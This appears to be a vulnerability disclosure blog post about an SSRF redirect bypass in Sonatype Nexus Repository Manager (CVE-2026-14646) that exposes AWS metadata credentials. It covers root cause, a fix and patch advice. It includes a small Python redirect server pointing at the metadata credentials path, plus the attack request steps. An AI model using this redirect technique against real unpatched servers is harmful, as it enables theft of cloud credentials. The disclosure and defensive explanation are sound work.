Sonatype Nexus Repository Manager is one of the most widely used artifact repository managers in enterprise environments. Companies use it to cache and proxy package registries like Maven Central, npm, and PyPI. It runs on the same cloud infrastructure as the rest of the stack, which means it sits on the same network as the cloud metadata service at 169.254.169.254.
Nexus knows this is dangerous. The codebase includes explicit SSRF protection through a class called AntiSsrfHelper that "always blocks" the cloud metadata endpoint. The code even rejects attempts to add 169.254.169.254 to the allow list with a log message: "Cloud metadata address cannot be added to allow list". The developers clearly thought about this threat.
But the protection only validated the initial request URL. When an upstream server returned an HTTP redirect, NexusRedirectStrategy followed the redirect with zero SSRF validation on the target. One 302 response was all it took to reach the cloud metadata endpoint and steal IAM credentials.
e0x1337 reported this to Sonatype through HackerOne. It was assigned CVE-2026-14646 and patched in version 3.94.0.
What is SSRF and Why Cloud Metadata Makes It Dangerous
Server-Side Request Forgery (SSRF) is when you trick a server into making HTTP requests to a destination it should not be reaching. Instead of fetching the resource the application intended, the server fetches something from an internal network, a localhost service, or a cloud metadata endpoint.
The cloud metadata service is what makes SSRF particularly dangerous in cloud environments. Every major cloud provider (AWS, GCP, Azure) runs a metadata service at 169.254.169.254 that is accessible from any instance running on their platform. This service exposes:
- IAM credentials that grant access to cloud resources (S3 buckets, databases, internal APIs)
- Instance identity documents used for authentication
- User data scripts which frequently contain hardcoded secrets
- Network configuration including VPC and subnet details
If you can make the server send a request to http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}, the response contains temporary AWS access keys. With those keys, an attacker can access whatever cloud resources that instance's IAM role is allowed to touch.
This is why SSRF is ranked in the OWASP Top 10 and why applications that make outbound HTTP requests need SSRF protection.
How Nexus Repository Manager Protects Against SSRF
Nexus implements SSRF protection at two points in the proxy repository flow:
Check 1: Repository creation time
When an administrator creates a proxy repository, they specify the upstream URL (for example, https://registry.npmjs.org). The RemoteUrlSsrfValidator runs against this URL and rejects anything that resolves to a private or internal network address. If you try to create a proxy repository with remoteUrl=http://169.254.169.254/latest/, Nexus rejects it immediately.
Check 2: Runtime fetch validation
Before every outbound fetch, ProxyFacetSupport.validateNotPrivateNetwork() checks the resolved IP address of the upstream URL. Even if someone modifies DNS records after the repository is created to point the domain at an internal address, this check would catch it.
Both checks go through AntiSsrfHelper, which maintains a hardcoded block for 169.254.169.254 and checks against RFC 1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
This protection works perfectly for direct requests. The problem is what happens after the initial request.
The Bypass: HTTP Redirects Skip All Validation
When Nexus fetches content from an upstream server, the server can respond with an HTTP redirect (301, 302, or 307). The NexusRedirectStrategy class handles these redirects. And here is the problem: it follows redirects without running any SSRF validation on the redirect target.
The code path looks like this:
- Client requests an artifact through the proxy repository
validateNotPrivateNetwork()checks the upstream URL →redirect-server.com→ resolves to a public IP → PASS- Nexus sends a GET request to
redirect-server.com - The server responds with
302 Location: http://169.254.169.254/latest/meta-data/ NexusRedirectStrategysees the redirect and follows it- No SSRF validation runs on
169.254.169.254 - Nexus fetches the cloud metadata and returns it to the client as repository content
There is actually a marker called CONTENT_RETRIEVAL_MARKER_KEY in the codebase that could enable redirect filtering. But this marker is never set in production code. The filtering logic exists but is dead code. It was never wired up.
The Attack
Here is how the full exploit works against a Nexus instance running on AWS.
Setup: The redirect server
The attacker sets up a simple HTTP server on a public IP. This server responds to every GET request with a 302 redirect pointing to the cloud metadata endpoint:
# Simplified redirect server
class RedirectHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location',
'http://169.254.169.254/latest/meta-data/iam/security-credentials/')
self.end_headers()This server passes all of Nexus's SSRF checks because its own IP address is a legitimate public address. The SSRF protection never sees 169.254.169.254 because that address only appears in the redirect response.
Step 1: Create a proxy repository pointing to the redirect server
A Nexus administrator creates a proxy repository pointing to http://redirect-server.com/. This is a standard workflow. Administrators routinely proxy partner registries, internal mirrors, or custom package sources. The SSRF validator checks redirect-server.com, sees a public IP, and allows it.
Step 2: Request content through the proxy
Any user with read access to the proxy repository (including anonymous users if anonymous access is enabled) requests an artifact:
GET /repository/proxy-repo/some/pathStep 3: The redirect chain fires
Nexus fetches from the redirect server. The server returns a 302 pointing to 169.254.169.254. Nexus follows the redirect with no validation.
Step 4: Cloud credentials returned as repository content
The cloud metadata service responds with IAM credentials. Nexus treats this response as legitimate repository content and returns it to the requesting client.
GET /repository/proxy-repo/latest/meta-data/iam/security-credentials/NexusRole
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJalr...",
"Token": "FwoGZXIvYXdzE...",
"Expiration": "2026-07-14T12:00:00Z"
}With these temporary credentials, the attacker can now access whatever AWS resources the Nexus instance's IAM role permits: S3 buckets, DynamoDB tables, SQS queues, or even other EC2 instances.
The full flow visualized
Client Nexus Redirect Server 169.254.169.254
| | | |
| GET /repository/ | | |
| proxy-repo/path | | |
|------------------>| | |
| | SSRF check on | |
| | redirect-server.com | |
| | → public IP → PASS | |
| | | |
| | GET /repo/path | |
| |------------------------->| |
| | | |
| | 302 Location: | |
| | 169.254.169.254/... | |
| |<-------------------------| |
| | | |
| | NexusRedirectStrategy: | |
| | follows redirect | |
| | NO SSRF CHECK | |
| | | |
| | GET /latest/meta-data/...| |
| |--------------------------------------->| |
| | | |
| | 200 OK | |
| | { IAM credentials } | |
| |<---------------------------------------| |
| | | |
| 200 OK | | |
| { IAM credentials } | |
|<------------------| | |Non-blind SSRF
This is not a blind SSRF where the attacker can only confirm that a request was made. The full response body from the internal target is returned through the proxy repository as content that the client can read. This makes it significantly more dangerous because the attacker gets the actual data, not just a side channel.
Root Cause Analysis
The SSRF filter only validates the entry point
Both RemoteUrlSsrfValidator and validateNotPrivateNetwork() run against the configured upstream URL. Neither is called again when the HTTP client follows a redirect. The redirect target is trusted implicitly because it came from a server that already passed validation.
This is a common pattern in SSRF bypasses. Many applications implement URL validation as a gate at the beginning of the request lifecycle but do not re-validate when the request path changes due to redirects. The assumption is: if the original URL was safe, any URL it redirects to must also be safe. This assumption is wrong.
Dead filtering code
The codebase contains a CONTENT_RETRIEVAL_MARKER_KEY that, if set, would enable additional filtering on redirect targets. But this key is never set by any production code path. The infrastructure for redirect validation exists in the code but was never activated. This suggests the developers may have planned to add redirect filtering at some point but it was never completed.
The fix
The correct approach is to run the same SSRF validation on every URL in the redirect chain, not just the initial URL:
@Override
public URI getLocationURI(HttpRequest request, HttpResponse response,
HttpContext context) throws ProtocolException {
URI redirectUri = super.getLocationURI(request, response, context);
// Re-validate SSRF on every redirect target
if (AntiSsrfHelper.isPrivateNetwork(redirectUri.getHost())) {
throw new ProtocolException(
"Redirect to private network address blocked: " + redirectUri);
}
return redirectUri;
}Sonatype fixed this in version 3.94.0.
What Developers Should Learn From This
1. SSRF protection must cover the entire request lifecycle
Validating the initial URL is not enough. HTTP redirects, DNS rebinding, and URL parsing inconsistencies can all change the effective destination after your initial check passes. Every URL in the chain needs validation, including redirect targets, not just the first one.
2. Follow your own redirect chains
When auditing code that makes HTTP requests, trace what happens when the server returns a 3xx redirect. Does the redirect handler re-run the security checks? In most HTTP client libraries (Apache HttpClient, OkHttp, requests), redirect following is automatic and opaque. The application code never sees the intermediate redirect, which means the security checks never run unless they are explicitly wired into the redirect strategy.
3. Cloud metadata is a one-request-away treasure
Any SSRF vulnerability on a cloud instance is effectively a credential theft vulnerability. The metadata service at 169.254.169.254 does not require authentication (though AWS IMDSv2 adds a token requirement). If your application can reach this address, an attacker who controls the request destination gets your cloud credentials. Treat SSRF prevention with the same severity as authentication bypass.
4. Dead code is worse than no code
The Nexus codebase had filtering infrastructure for redirect targets that was never activated. This is arguably worse than not having it at all, because it creates a false sense of security. Someone reading the code might see the filtering logic and assume it is active. If you write security code, make sure it is wired up and tested. If it is not ready for production, do not leave it in the codebase where it gives a misleading picture of the security posture.
Affected Versions and Fix
All versions of Nexus Repository Manager 3 before 3.94.0 are affected.
Fixed in Nexus Repository Manager 3.94.0. The fix applies SSRF protections to redirect targets, not just the initial URL.
If you run Nexus, update now. Also audit your proxy repository configurations and remove any that point to untrusted upstream servers. Even after patching, minimizing the number of external upstream sources reduces your attack surface.
This was reported responsibly through HackerOne and assigned CVE-2026-14646. If you find something similar, report it through the vendor's security program.